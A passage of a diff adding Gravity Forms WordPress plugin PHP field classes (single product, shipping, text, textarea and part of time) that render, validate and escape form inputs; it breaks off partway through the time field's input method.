if ( ! is_numeric( $quantity ) ) {
|
||||
$quantity = 1;
|
||||
}
|
||||
|
||||
if ( ! $has_quantity ) {
|
||||
$quantity_field .= "<input type='hidden' name='input_{$id}.3' value='{$quantity}' class='ginput_quantity_{$form_id}_{$this->id} gform_hidden' />";
|
||||
}
|
||||
}
|
||||
|
||||
return "<div class='ginput_container ginput_container_singleproduct'>
|
||||
<input type='hidden' name='input_{$id}.1' value='{$product_name}' class='gform_hidden' />
|
||||
<span class='ginput_product_price_label'>" . gf_apply_filters( array( 'gform_product_price', $form_id, $this->id ), esc_html__( 'Price', 'gravityforms' ), $form_id ) . ":</span> <span class='ginput_product_price' id='{$field_id}'>" . esc_html( GFCommon::to_money( $price, $currency ) ) . "</span>
|
||||
<input type='hidden' name='input_{$id}.2' id='ginput_base_price_{$form_id}_{$this->id}' class='gform_hidden' value='" . esc_attr( $price ) . "'/>
|
||||
{$quantity_field}
|
||||
</div>";
|
||||
}
|
||||
|
||||
public function get_value_entry_detail( $value, $currency = '', $use_text = false, $format = 'html', $media = 'screen' ) {
|
||||
if ( is_array( $value ) && ! empty( $value ) ) {
|
||||
$product_name = trim( $value[ $this->id . '.1' ] );
|
||||
$price = trim( $value[ $this->id . '.2' ] );
|
||||
$quantity = trim( $value[ $this->id . '.3' ] );
|
||||
|
||||
$product_details = $product_name;
|
||||
|
||||
if ( ! rgblank( $quantity ) ) {
|
||||
$product_details .= ', ' . esc_html__( 'Qty: ', 'gravityforms' ) . $quantity;
|
||||
}
|
||||
|
||||
if ( ! rgblank( $price ) ) {
|
||||
$product_details .= ', ' . esc_html__( 'Price: ', 'gravityforms' ) . GFCommon::format_number( $price, 'currency', $currency );
|
||||
}
|
||||
|
||||
return $product_details;
|
||||
} else {
|
||||
return '';
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
GF_Fields::register( new GF_Field_SingleProduct() );
|
||||
56
includes/fields/class-gf-field-singleshipping.php
Normal file
56
includes/fields/class-gf-field-singleshipping.php
Normal file
@@ -0,0 +1,56 @@
|
||||
<?php
|
||||
|
||||
if ( ! class_exists( 'GFForms' ) ) {
|
||||
die();
|
||||
}
|
||||
|
||||
|
||||
class GF_Field_SingleShipping extends GF_Field {
|
||||
|
||||
public $type = 'singleshipping';
|
||||
|
||||
function get_form_editor_field_settings() {
|
||||
return array(
|
||||
'base_price_setting',
|
||||
);
|
||||
}
|
||||
|
||||
public function get_form_editor_button() {
|
||||
return array();
|
||||
}
|
||||
|
||||
public function get_field_input( $form, $value = '', $entry = null ) {
|
||||
$form_id = absint( $form['id'] );
|
||||
$is_entry_detail = $this->is_entry_detail();
|
||||
$is_form_editor = $this->is_form_editor();
|
||||
|
||||
$id = (int) $this->id;
|
||||
$field_id = $is_entry_detail || $is_form_editor || $form_id == 0 ? "input_$id" : 'input_' . $form_id . "_$id";
|
||||
|
||||
$currency = $is_entry_detail && ! empty( $entry ) ? $entry['currency'] : '';
|
||||
|
||||
$price = ! empty( $value ) ? $value : $this->basePrice;
|
||||
if ( empty( $price ) ) {
|
||||
$price = 0;
|
||||
}
|
||||
|
||||
$price = esc_attr( $price );
|
||||
|
||||
return "<div class='ginput_container ginput_container_singleshipping'>
|
||||
<input type='hidden' name='input_{$id}' value='{$price}' class='gform_hidden'/>
|
||||
<span class='ginput_shipping_price' id='{$field_id}'>" . GFCommon::to_money( $price, $currency ) . '</span>
|
||||
</div>';
|
||||
}
|
||||
|
||||
public function get_value_entry_detail( $value, $currency = '', $use_text = false, $format = 'html', $media = 'screen' ) {
|
||||
return GFCommon::to_money( $value, $currency );
|
||||
}
|
||||
|
||||
public function sanitize_settings() {
|
||||
parent::sanitize_settings();
|
||||
$price_number = GFCommon::to_number( $this->basePrice );
|
||||
$this->basePrice = GFCommon::to_money( $price_number );
|
||||
}
|
||||
}
|
||||
|
||||
GF_Fields::register( new GF_Field_SingleShipping() );
|
||||
198
includes/fields/class-gf-field-text.php
Normal file
198
includes/fields/class-gf-field-text.php
Normal file
@@ -0,0 +1,198 @@
|
||||
<?php
|
||||
|
||||
if ( ! class_exists( 'GFForms' ) ) {
|
||||
die();
|
||||
}
|
||||
|
||||
|
||||
class GF_Field_Text extends GF_Field {
|
||||
|
||||
public $type = 'text';
|
||||
|
||||
public function get_form_editor_field_title() {
|
||||
return esc_attr__( 'Single Line Text', 'gravityforms' );
|
||||
}
|
||||
|
||||
function get_form_editor_field_settings() {
|
||||
return array(
|
||||
'conditional_logic_field_setting',
|
||||
'prepopulate_field_setting',
|
||||
'error_message_setting',
|
||||
'label_setting',
|
||||
'label_placement_setting',
|
||||
'admin_label_setting',
|
||||
'size_setting',
|
||||
'input_mask_setting',
|
||||
'maxlen_setting',
|
||||
'password_field_setting',
|
||||
'rules_setting',
|
||||
'visibility_setting',
|
||||
'duplicate_setting',
|
||||
'default_value_setting',
|
||||
'placeholder_setting',
|
||||
'description_setting',
|
||||
'css_class_setting',
|
||||
);
|
||||
}
|
||||
|
||||
public function is_conditional_logic_supported() {
|
||||
return true;
|
||||
}
|
||||
|
||||
public function get_field_input( $form, $value = '', $entry = null ) {
|
||||
$form_id = absint( $form['id'] );
|
||||
$is_entry_detail = $this->is_entry_detail();
|
||||
$is_form_editor = $this->is_form_editor();
|
||||
|
||||
$html_input_type = 'text';
|
||||
|
||||
if ( $this->enablePasswordInput && ! $is_entry_detail ) {
|
||||
$html_input_type = 'password';
|
||||
}
|
||||
|
||||
$logic_event = ! $is_form_editor && ! $is_entry_detail ? $this->get_conditional_logic_event( 'keyup' ) : '';
|
||||
$id = (int) $this->id;
|
||||
$field_id = $is_entry_detail || $is_form_editor || $form_id == 0 ? "input_$id" : 'input_' . $form_id . "_$id";
|
||||
|
||||
$value = esc_attr( $value );
|
||||
$size = $this->size;
|
||||
$class_suffix = $is_entry_detail ? '_admin' : '';
|
||||
$class = $size . $class_suffix;
|
||||
|
||||
$max_length = is_numeric( $this->maxLength ) ? "maxlength='{$this->maxLength}'" : '';
|
||||
|
||||
$tabindex = $this->get_tabindex();
|
||||
$disabled_text = $is_form_editor ? 'disabled="disabled"' : '';
|
||||
$placeholder_attribute = $this->get_field_placeholder_attribute();
|
||||
$required_attribute = $this->isRequired ? 'aria-required="true"' : '';
|
||||
$invalid_attribute = $this->failed_validation ? 'aria-invalid="true"' : 'aria-invalid="false"';
|
||||
|
||||
$input = "<input name='input_{$id}' id='{$field_id}' type='{$html_input_type}' value='{$value}' class='{$class}' {$max_length} {$tabindex} {$logic_event} {$placeholder_attribute} {$required_attribute} {$invalid_attribute} {$disabled_text}/>";
|
||||
|
||||
return sprintf( "<div class='ginput_container ginput_container_text'>%s</div>", $input );
|
||||
}
|
||||
|
||||
public function allow_html() {
|
||||
return in_array( $this->type, array( 'post_custom_field', 'post_tags' ) ) ? true : false;
|
||||
}
|
||||
|
||||
/**
|
||||
* Gets merge tag values.
|
||||
*
|
||||
* @since Unknown
|
||||
* @access public
|
||||
*
|
||||
* @uses GF_Field::get_allowable_tags()
|
||||
*
|
||||
* @param array|string $value The value of the input.
|
||||
* @param string $input_id The input ID to use.
|
||||
* @param array $entry The Entry Object.
|
||||
* @param array $form The Form Object
|
||||
* @param string $modifier The modifier passed.
|
||||
* @param array|string $raw_value The raw value of the input.
|
||||
* @param bool $url_encode If the result should be URL encoded.
|
||||
* @param bool $esc_html If the HTML should be escaped.
|
||||
* @param string $format The format that the value should be.
|
||||
* @param bool $nl2br If the nl2br function should be used.
|
||||
*
|
||||
* @return string The processed merge tag.
|
||||
*/
|
||||
public function get_value_merge_tag( $value, $input_id, $entry, $form, $modifier, $raw_value, $url_encode, $esc_html, $format, $nl2br ) {
|
||||
|
||||
if ( $format === 'html' ) {
|
||||
$value = $raw_value;
|
||||
if ( $nl2br ) {
|
||||
$value = nl2br( $value );
|
||||
}
|
||||
|
||||
$form_id = absint( $form['id'] );
|
||||
$allowable_tags = $this->get_allowable_tags( $form_id );
|
||||
|
||||
if ( $allowable_tags === false ) {
|
||||
// The value is unsafe so encode the value.
|
||||
$return = esc_html( $value );
|
||||
} else {
|
||||
// The value contains HTML but the value was sanitized before saving.
|
||||
$return = $value;
|
||||
}
|
||||
} else {
|
||||
$return = $value;
|
||||
}
|
||||
|
||||
return $return;
|
||||
}
|
||||
|
||||
/**
|
||||
* Format the entry value safe for displaying on the entry list page.
|
||||
*
|
||||
* @since Unknown
|
||||
* @access public
|
||||
*
|
||||
* @uses GF_Field::get_allowable_tags()
|
||||
*
|
||||
* @param string $value The field value.
|
||||
* @param array $entry The Entry Object currently being processed.
|
||||
* @param string $field_id The field or input ID currently being processed.
|
||||
* @param array $columns The properties for the columns being displayed on the entry list page.
|
||||
* @param array $form The Form Object currently being processed.
|
||||
*
|
||||
* @return string
|
||||
*/
|
||||
public function get_value_entry_list( $value, $entry, $field_id, $columns, $form ) {
|
||||
|
||||
if ( is_array( $value ) ) {
|
||||
return '';
|
||||
}
|
||||
|
||||
$form_id = absint( $form['id'] );
|
||||
$allowable_tags = $this->get_allowable_tags( $form_id );
|
||||
|
||||
if ( $allowable_tags === false ) {
|
||||
// The value is unsafe so encode the value.
|
||||
$return = esc_html( $value );
|
||||
} else {
|
||||
// The value contains HTML but the value was sanitized before saving.
|
||||
$return = $value;
|
||||
}
|
||||
|
||||
return $return;
|
||||
}
|
||||
|
||||
/**
|
||||
* Format the entry value safe for displaying on the entry detail page and for the {all_fields} merge tag.
|
||||
*
|
||||
* @param string|array $value The field value.
|
||||
* @param string $currency The entry currency code.
|
||||
* @param bool|false $use_text When processing choice based fields should the choice text be returned instead of the value.
|
||||
* @param string $format The format requested for the location the merge is being used. Possible values: html, text or url.
|
||||
* @param string $media The location where the value will be displayed. Possible values: screen or email.
|
||||
*
|
||||
* @return string
|
||||
*/
|
||||
public function get_value_entry_detail( $value, $currency = '', $use_text = false, $format = 'html', $media = 'screen' ) {
|
||||
|
||||
if ( is_array( $value ) ) {
|
||||
return '';
|
||||
}
|
||||
|
||||
if ( $format === 'html' ) {
|
||||
$value = nl2br( $value );
|
||||
|
||||
$allowable_tags = $this->get_allowable_tags();
|
||||
|
||||
if ( $allowable_tags === false ) {
|
||||
// The value is unsafe so encode the value.
|
||||
$return = esc_html( $value );
|
||||
} else {
|
||||
// The value contains HTML but the value was sanitized before saving.
|
||||
$return = $value;
|
||||
}
|
||||
} else {
|
||||
$return = $value;
|
||||
}
|
||||
|
||||
return $return;
|
||||
}
|
||||
}
|
||||
|
||||
GF_Fields::register( new GF_Field_Text() );
|
||||
325
includes/fields/class-gf-field-textarea.php
Normal file
325
includes/fields/class-gf-field-textarea.php
Normal file
@@ -0,0 +1,325 @@
|
||||
<?php
|
||||
|
||||
if ( ! class_exists( 'GFForms' ) ) {
|
||||
die();
|
||||
}
|
||||
|
||||
|
||||
class GF_Field_Textarea extends GF_Field {
|
||||
|
||||
public $type = 'textarea';
|
||||
|
||||
public function get_form_editor_field_title() {
|
||||
return esc_attr__( 'Paragraph Text', 'gravityforms' );
|
||||
}
|
||||
|
||||
function get_form_editor_field_settings() {
|
||||
return array(
|
||||
'conditional_logic_field_setting',
|
||||
'prepopulate_field_setting',
|
||||
'error_message_setting',
|
||||
'label_setting',
|
||||
'label_placement_setting',
|
||||
'admin_label_setting',
|
||||
'maxlen_setting',
|
||||
'size_setting',
|
||||
'rules_setting',
|
||||
'visibility_setting',
|
||||
'duplicate_setting',
|
||||
'default_value_textarea_setting',
|
||||
'placeholder_textarea_setting',
|
||||
'description_setting',
|
||||
'css_class_setting',
|
||||
'rich_text_editor_setting',
|
||||
);
|
||||
}
|
||||
|
||||
public function is_conditional_logic_supported() {
|
||||
return true;
|
||||
}
|
||||
|
||||
public function allow_html() {
|
||||
return empty( $this->useRichTextEditor ) ? false : true;
|
||||
}
|
||||
|
||||
public function get_field_input( $form, $value = '', $entry = null ) {
|
||||
|
||||
$form_id = absint( $form['id'] );
|
||||
$is_entry_detail = $this->is_entry_detail();
|
||||
$is_form_editor = $this->is_form_editor();
|
||||
|
||||
$is_admin = $is_entry_detail || $is_form_editor;
|
||||
|
||||
$id = intval( $this->id );
|
||||
$field_id = $is_entry_detail || $is_form_editor || $form_id == 0 ? "input_$id" : 'input_' . $form_id . "_$id";
|
||||
$size = $this->size;
|
||||
$class_suffix = $is_entry_detail ? '_admin' : '';
|
||||
$class = $size . $class_suffix;
|
||||
$class = esc_attr( $class );
|
||||
$disabled_text = $is_form_editor ? 'disabled="disabled"' : '';
|
||||
|
||||
$logic_event = $this->get_conditional_logic_event( 'keyup' );
|
||||
$placeholder_attribute = $this->get_field_placeholder_attribute();
|
||||
$required_attribute = $this->isRequired ? 'aria-required="true"' : '';
|
||||
$invalid_attribute = $this->failed_validation ? 'aria-invalid="true"' : 'aria-invalid="false"';
|
||||
|
||||
$tabindex = $this->get_tabindex();
|
||||
|
||||
if ( $this->get_allowable_tags() === false ) {
|
||||
$value = esc_textarea( $value );
|
||||
}
|
||||
|
||||
//see if the field is set to use the rich text editor
|
||||
if ( ! $is_admin && $this->is_rich_edit_enabled() ) {
|
||||
//placeholders cannot be used with the rte; message displayed in admin when this occurs
|
||||
//field cannot be used in conditional logic by another field; message displayed in admin and field removed from conditional logic drop down
|
||||
$tabindex = GFCommon::$tab_index > 0 ? GFCommon::$tab_index ++ : '';
|
||||
|
||||
add_filter( 'mce_buttons', array( $this, 'filter_mce_buttons' ), 10, 2 );
|
||||
|
||||
/**
|
||||
* Filters the field options for the rich text editor.
|
||||
*
|
||||
* @since 2.0.0
|
||||
*
|
||||
* @param array $editor_settings Array of settings that can be changed.
|
||||
* @param object $this The field object
|
||||
* @param array $form Current form object
|
||||
* @param array $entry Current entry object, if available
|
||||
*
|
||||
* Additional filters for specific form and fields IDs.
|
||||
*/
|
||||
$editor_settings = apply_filters( 'gform_rich_text_editor_options', array(
|
||||
'textarea_name' => 'input_' . $id,
|
||||
'wpautop' => true,
|
||||
'editor_class' => $class,
|
||||
'editor_height' => rgar( array( 'small' => 110, 'medium' => 180, 'large' => 280 ), $this->size ? $this->size : 'medium' ),
|
||||
'tabindex' => $tabindex,
|
||||
'media_buttons' => false,
|
||||
'quicktags' => false,
|
||||
'tinymce' => array( 'init_instance_callback' => "function (editor) {
|
||||
editor.on( 'keyup paste mouseover', function (e) {
|
||||
var content = editor.getContent( { format: 'text' } ).trim();
|
||||
var textarea = jQuery( '#' + editor.id );
|
||||
textarea.val( content ).trigger( 'keyup' ).trigger( 'paste' ).trigger( 'mouseover' );
|
||||
|
||||
|
||||
});}" ),
|
||||
), $this, $form, $entry );
|
||||
|
||||
$editor_settings = apply_filters( sprintf( 'gform_rich_text_editor_options_%d', $form['id'] ), $editor_settings, $this, $form, $entry );
|
||||
$editor_settings = apply_filters( sprintf( 'gform_rich_text_editor_options_%d_%d', $form['id'], $this->id ), $editor_settings, $this, $form, $entry );
|
||||
|
||||
if ( ! has_action( 'wp_tiny_mce_init', array( __class__, 'start_wp_tiny_mce_init_buffer' ) ) ) {
|
||||
add_action( 'wp_tiny_mce_init', array( __class__, 'start_wp_tiny_mce_init_buffer' ) );
|
||||
}
|
||||
|
||||
ob_start();
|
||||
wp_editor( $value, $field_id, $editor_settings );
|
||||
$input = ob_get_clean();
|
||||
|
||||
remove_filter( 'mce_buttons', array( $this, 'filter_mce_buttons' ), 10 );
|
||||
} else {
|
||||
|
||||
$input = '';
|
||||
$input_style = '';
|
||||
|
||||
// RTE preview
|
||||
if ( $this->is_form_editor() ) {
|
||||
$display = $this->useRichTextEditor ? 'block' : 'none';
|
||||
$input_style = $this->useRichTextEditor ? 'style="display:none;"' : '';
|
||||
$size = $this->size ? $this->size : 'medium';
|
||||
$input = sprintf( '<div id="%s_rte_preview" class="gform-rte-preview %s" style="display:%s"></div>', $field_id, $size, $display );
|
||||
}
|
||||
|
||||
$input .= "<textarea name='input_{$id}' id='{$field_id}' class='textarea {$class}' {$tabindex} {$logic_event} {$placeholder_attribute} {$required_attribute} {$invalid_attribute} {$disabled_text} {$input_style} rows='10' cols='50'>{$value}</textarea>";
|
||||
|
||||
}
|
||||
|
||||
return sprintf( "<div class='ginput_container ginput_container_textarea'>%s</div>", $input );
|
||||
}
|
||||
|
||||
public function validate( $value, $form ) {
|
||||
if ( ! is_numeric( $this->maxLength ) ) {
|
||||
return;
|
||||
}
|
||||
|
||||
if ( $this->useRichTextEditor ) {
|
||||
$value = wp_specialchars_decode( $value );
|
||||
}
|
||||
|
||||
// Clean the string of characters not counted by the textareaCounter plugin.
|
||||
$value = strip_tags( $value );
|
||||
$value = str_replace( "\r", '', $value );
|
||||
$value = trim( $value );
|
||||
|
||||
if ( GFCommon::safe_strlen( $value ) > $this->maxLength ) {
|
||||
$this->failed_validation = true;
|
||||
$this->validation_message = empty( $this->errorMessage ) ? esc_html__( 'The text entered exceeds the maximum number of characters.', 'gravityforms' ) : $this->errorMessage;
|
||||
}
|
||||
}
|
||||
|
||||
public static function start_wp_tiny_mce_init_buffer() {
|
||||
ob_start();
|
||||
add_action( 'after_wp_tiny_mce', array( __class__, 'end_wp_tiny_mce_init_buffer' ), 1 );
|
||||
}
|
||||
|
||||
public static function end_wp_tiny_mce_init_buffer() {
|
||||
|
||||
$script = ob_get_clean();
|
||||
$pattern = '/(<script.*>)([\s\S]+)(<\/script>)/';
|
||||
|
||||
preg_match_all( $pattern, $script, $matches, PREG_SET_ORDER );
|
||||
|
||||
foreach ( $matches as $match ) {
|
||||
|
||||
list( $search, $open_tag, $guts, $close_tag ) = $match;
|
||||
|
||||
$custom = "if ( typeof current_page === 'undefined' ) { return; }\nfor( var id in tinymce.editors ) { tinymce.EditorManager.remove( tinymce.editors[id] ); }";
|
||||
$replace = sprintf( "%s\njQuery( document ).bind( 'gform_post_render', function( event, form_id, current_page ) { \n%s\n%s } );\n%s", $open_tag, $custom, $guts, $close_tag );
|
||||
$script = str_replace( $search, $replace, $script );
|
||||
|
||||
}
|
||||
|
||||
echo $script;
|
||||
|
||||
}
|
||||
|
||||
public function filter_mce_buttons( $mce_buttons, $editor_id ) {
|
||||
|
||||
$remove_key = array_search( 'wp_more', $mce_buttons );
|
||||
if ( $remove_key !== false ) {
|
||||
unset( $mce_buttons[ $remove_key ] );
|
||||
}
|
||||
/**
|
||||
* Filters the buttons within the TinyMCE editor
|
||||
*
|
||||
* @since 2.0.0
|
||||
*
|
||||
* @param array $mce_buttons Buttons to be included.
|
||||
* @param string $editor_id HTML ID of the field.
|
||||
* @param object $this The field object
|
||||
*
|
||||
* Additional filters for specific form and fields IDs.
|
||||
*/
|
||||
$mce_buttons = apply_filters( 'gform_rich_text_editor_buttons', $mce_buttons, $editor_id, $this );
|
||||
$mce_buttons = apply_filters( sprintf( 'gform_rich_text_editor_buttons_%d', $this->formId ), $mce_buttons, $editor_id, $this );
|
||||
$mce_buttons = apply_filters( sprintf( 'gform_rich_text_editor_buttons_%d_%d', $this->formId, $this->id ), $mce_buttons, $editor_id, $this );
|
||||
|
||||
return $mce_buttons;
|
||||
}
|
||||
|
||||
/**
|
||||
* Format the entry value for display on the entry detail page and for the {all_fields} merge tag.
|
||||
* Return a value that's safe to display for the context of the given $format.
|
||||
*
|
||||
* @param string|array $value The field value.
|
||||
* @param string $currency The entry currency code.
|
||||
* @param bool|false $use_text When processing choice based fields should the choice text be returned instead of the value.
|
||||
* @param string $format The format requested for the location the merge is being used. Possible values: html, text or url.
|
||||
* @param string $media The location where the value will be displayed. Possible values: screen or email.
|
||||
*
|
||||
* @return string
|
||||
*/
|
||||
public function get_value_entry_detail( $value, $currency = '', $use_text = false, $format = 'html', $media = 'screen' ) {
|
||||
|
||||
if ( $format === 'html' ) {
|
||||
|
||||
$allowable_tags = $this->get_allowable_tags();
|
||||
|
||||
if ( $allowable_tags === false ) {
|
||||
// The value is unsafe so encode the value.
|
||||
$value = esc_html( $value );
|
||||
$return = nl2br( $value );
|
||||
|
||||
} else {
|
||||
// The value contains HTML but the value was sanitized before saving.
|
||||
$return = wpautop( $value );
|
||||
}
|
||||
} else {
|
||||
$return = $value;
|
||||
}
|
||||
|
||||
return $return;
|
||||
}
|
||||
|
||||
/**
|
||||
* Format the entry value for when the field/input merge tag is processed. Not called for the {all_fields} merge tag.
|
||||
*
|
||||
* Return a value that is safe for the context specified by $format.
|
||||
*
|
||||
* @since Unknown
|
||||
* @access public
|
||||
*
|
||||
* @param string|array $value The field value. Depending on the location the merge tag is being used the following functions may have already been applied to the value: esc_html, nl2br, and urlencode.
|
||||
* @param string $input_id The field or input ID from the merge tag currently being processed.
|
||||
* @param array $entry The Entry Object currently being processed.
|
||||
* @param array $form The Form Object currently being processed.
|
||||
* @param string $modifier The merge tag modifier. e.g. value
|
||||
* @param string|array $raw_value The raw field value from before any formatting was applied to $value.
|
||||
* @param bool $url_encode Indicates if the urlencode function may have been applied to the $value.
|
||||
* @param bool $esc_html Indicates if the esc_html function may have been applied to the $value.
|
||||
* @param string $format The format requested for the location the merge is being used. Possible values: html, text or url.
|
||||
* @param bool $nl2br Indicates if the nl2br function may have been applied to the $value.
|
||||
*
|
||||
* @return string
|
||||
*/
|
||||
public function get_value_merge_tag( $value, $input_id, $entry, $form, $modifier, $raw_value, $url_encode, $esc_html, $format, $nl2br ) {
|
||||
|
||||
if ( $format === 'html' ) {
|
||||
$form_id = absint( $form['id'] );
|
||||
$allowable_tags = $this->get_allowable_tags( $form_id );
|
||||
|
||||
if ( $allowable_tags === false ) {
|
||||
// The raw value is unsafe so escape it.
|
||||
$return = esc_html( $raw_value );
|
||||
// Run nl2br() to preserve line breaks when auto-formatting is disabled on notifications/confirmations.
|
||||
$return = nl2br( $return );
|
||||
} else {
|
||||
// The value contains HTML but the value was sanitized before saving.
|
||||
$return = wpautop( $raw_value );
|
||||
}
|
||||
} else {
|
||||
$return = $value;
|
||||
}
|
||||
|
||||
return $return;
|
||||
}
|
||||
|
||||
/**
|
||||
* Determines if the RTE can be enabled for the current field and user.
|
||||
*
|
||||
* @since 2.2.5.14
|
||||
*
|
||||
* @return bool
|
||||
*/
|
||||
public function is_rich_edit_enabled() {
|
||||
if ( ! $this->useRichTextEditor ) {
|
||||
return false;
|
||||
}
|
||||
|
||||
global $wp_rich_edit;
|
||||
$wp_rich_edit = null;
|
||||
|
||||
add_filter( 'get_user_option_rich_editing', array( $this, 'filter_user_option_rich_editing' ) );
|
||||
$user_can_rich_edit = user_can_richedit();
|
||||
remove_filter( 'get_user_option_rich_editing', array( $this, 'filter_user_option_rich_editing' ) );
|
||||
|
||||
return $user_can_rich_edit;
|
||||
}
|
||||
|
||||
/**
|
||||
* Filter the rich_editing option for the current user.
|
||||
*
|
||||
* @since 2.2.5.14
|
||||
*
|
||||
* @param string $value The value of the rich_editing option for the current user.
|
||||
*
|
||||
* @return string
|
||||
*/
|
||||
public function filter_user_option_rich_editing( $value ) {
|
||||
return 'true';
|
||||
}
|
||||
}
|
||||
|
||||
GF_Fields::register( new GF_Field_Textarea() );
|
||||
398
includes/fields/class-gf-field-time.php
Normal file
398
includes/fields/class-gf-field-time.php
Normal file
@@ -0,0 +1,398 @@
|
||||
<?php
|
||||
|
||||
// If Gravity Forms isn't loaded, bail.
|
||||
if ( ! class_exists( 'GFForms' ) ) {
|
||||
die();
|
||||
}
|
||||
|
||||
/**
|
||||
* Class GF_Field_Time
|
||||
*
|
||||
* Handles Time fields.
|
||||
*
|
||||
* @since Unknown
|
||||
* @uses GF_Field
|
||||
*/
|
||||
class GF_Field_Time extends GF_Field {
|
||||
|
||||
/**
|
||||
* Sets the field type to be used in the field framework.
|
||||
*
|
||||
* @since Unknown
|
||||
* @access public
|
||||
*
|
||||
* @var string $type The type of field this is.
|
||||
*/
|
||||
public $type = 'time';
|
||||
|
||||
/**
|
||||
* Sets the title of the field to be used in the form editor.
|
||||
*
|
||||
* @since Unknown
|
||||
* @access public
|
||||
*
|
||||
* @used-by GFCommon::get_field_type_title()
|
||||
* @used-by GFAddOn::get_field_map_choices()
|
||||
* @used-by GFAddOn::prepare_field_select_field()
|
||||
* @used-by GFAddOn::settings_field_map_select()
|
||||
* @used-by GF_Field::get_form_editor_button()
|
||||
*
|
||||
* @return string The field title.
|
||||
*/
|
||||
public function get_form_editor_field_title() {
|
||||
return esc_attr__( 'Time', 'gravityforms' );
|
||||
}
|
||||
|
||||
/**
|
||||
* Defines the field editor settings that are available for this field.
|
||||
*
|
||||
* @since Unknown
|
||||
* @access public
|
||||
*
|
||||
* @used-by GFFormDetail::inline_scripts()
|
||||
*
|
||||
* @return array Contains the settings available within the field editor.
|
||||
*/
|
||||
function get_form_editor_field_settings() {
|
||||
return array(
|
||||
'conditional_logic_field_setting',
|
||||
'prepopulate_field_setting',
|
||||
'error_message_setting',
|
||||
'label_setting',
|
||||
'sub_labels_setting',
|
||||
'label_placement_setting',
|
||||
'sub_label_placement_setting',
|
||||
'admin_label_setting',
|
||||
'time_format_setting',
|
||||
'rules_setting',
|
||||
'visibility_setting',
|
||||
'duplicate_setting',
|
||||
'default_input_values_setting',
|
||||
'input_placeholders_setting',
|
||||
'description_setting',
|
||||
'css_class_setting',
|
||||
);
|
||||
}
|
||||
|
||||
/**
|
||||
* Validates the field inputs.
|
||||
*
|
||||
* @since Unknown
|
||||
* @access public
|
||||
*
|
||||
* @used-by GFFormDisplay::validate()
|
||||
* @uses GF_Field_Time::$failed_validation
|
||||
* @uses GF_Field_Time::$validation_message
|
||||
* @uses GF_Field_Time::$timeFormat
|
||||
* @uses GF_Field_Time::$errorMessage
|
||||
*
|
||||
* @param array|string $value The field value or values to validate.
|
||||
* @param array $form The Form Object.
|
||||
*
|
||||
* @return void
|
||||
*/
|
||||
public function validate( $value, $form ) {
|
||||
// Create variable values if time came in one field.
|
||||
if ( ! is_array( $value ) && ! empty( $value ) ) {
|
||||
preg_match( '/^(\d*):(\d*) ?(.*)$/', $value, $matches );
|
||||
$value = array();
|
||||
$value[0] = $matches[1];
|
||||
$value[1] = $matches[2];
|
||||
}
|
||||
|
||||
$hour = rgar( $value, 0 );
|
||||
$minute = rgar( $value, 1 );
|
||||
|
||||
if ( empty( $hour ) && empty( $minute ) ) {
|
||||
return;
|
||||
}
|
||||
|
||||
$is_valid_format = is_numeric( $hour ) && is_numeric( $minute );
|
||||
|
||||
$min_hour = $this->timeFormat == '24' ? 0 : 1;
|
||||
$max_hour = $this->timeFormat == '24' ? 24 : 12;
|
||||
$max_minute = $hour >= 24 ? 0 : 59;
|
||||
|
||||
if ( ! $is_valid_format || $hour < $min_hour || $hour > $max_hour || $minute < 0 || $minute > $max_minute ) {
|
||||
$this->failed_validation = true;
|
||||
$this->validation_message = empty( $this->errorMessage ) ? esc_html__( 'Please enter a valid time.', 'gravityforms' ) : $this->errorMessage;
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Defines how the Time field input is shown.
|
||||
*
|
||||
* @since Unknown
|
||||
* @access public
|
||||
*
|
||||
* @used-by GFCommon::get_field_input()
|
||||
* @uses GF_Field::is_entry_detail()
|
||||
* @uses GF_Field::is_form_editor()
|
||||
* @uses GF_Field_Time::$subLabelPlacement
|
||||
* @uses GFFormsModel::get_input()
|
||||
* @uses GF_Field::get_input_placeholder_attribute()
|
||||
* @uses GF_Field::get_tabindex()
|
||||
* @uses GFFormsModel::is_html5_enabled()
|
||||
*
|
||||
* @param array $form The Form Object.
|
||||
* @param string $value The field default value. Defaults to empty string.
|
||||
* @param array|null $entry The Entry Object, if available. Defaults to null.
|
||||
*
|
||||
* @return string The field HTML markup.
|
||||
*/
|
||||
public function get_field_input( $form, $value = '', $entry = null ) {
|
||||
|
||||
$is_entry_detail = $this->is_entry_detail();
|
||||
$is_form_editor = $this->is_form_editor();
|
||||
|
||||
$form_id = absint( $form['id'] );
|
||||
$id = intval( $this->id );
|
||||
$field_id = $is_entry_detail || $is_form_editor || $form_id == 0 ? "input_$id" : 'input_' . $form_id . "_$id";
|
||||
|
||||
$form_sub_label_placement = rgar( $form, 'subLabelPlacement' );
|
||||
$field_sub_label_placement = $this->subLabelPlacement;
|
||||
$is_sub_label_above = $field_sub_label_placement == 'above' || ( empty( $field_sub_label_placement ) && $form_sub_label_placement == 'above' );
|
||||
$sub_label_class_attribute = $field_sub_label_placement == 'hidden_label' ? "class='hidden_sub_label screen-reader-text'" : '';
|
||||
|
||||
$disabled_text = $is_form_editor ? "disabled='disabled'" : '';
|
||||
|
||||
$hour = $minute = $am_selected = $pm_selected = '';
|
||||
|
||||
if ( ! is_array( $value ) && ! empty( $value ) ) {
|
||||
preg_match( '/^(\d*):(\d*) ?(.*)$/', $value, $matches );
|
||||
$hour = esc_attr( $matches[1] );
|
||||
$minute = esc_attr( $matches[2] );
|
||||
$the_rest = strtolower( rgar( $matches, 3 ) );
|
||||
$am_selected = strpos( $the_rest, 'am' ) > -1 ? "selected='selected'" : '';
|
||||
$pm_selected = strpos( $the_rest, 'pm' ) > -1 ? "selected='selected'" : '';
|
||||
} elseif ( is_array( $value ) ) {
|
||||
$value = array_values( $value );
|
||||
$hour = esc_attr( $value[0] );
|
||||
$minute = esc_attr( $value[1] );
|
||||
$am_selected = strtolower( rgar( $value, 2 ) ) == 'am' ? "selected='selected'" : '';
|
||||
$pm_selected = strtolower( rgar( $value, 2 ) ) == 'pm' ? "selected='selected'" : '';
|
||||
}
|
||||
|
||||
$hour_input = GFFormsModel::get_input( $this, $this->id . '.1' );
|
||||
$minute_input = GFFormsModel::get_input( $this, $this->id . '.2' );
|
||||
|
||||
$hour_placeholder_attribute = $this->get_input_placeholder_attribute( $hour_input );
|
||||
$minute_placeholder_attribute = $this->get_input_placeholder_attribute( $minute_input );
|
||||
|
||||
$hour_tabindex = $this->get_tabindex();
|
||||
$minute_tabindex = $this->get_tabindex();
|
||||
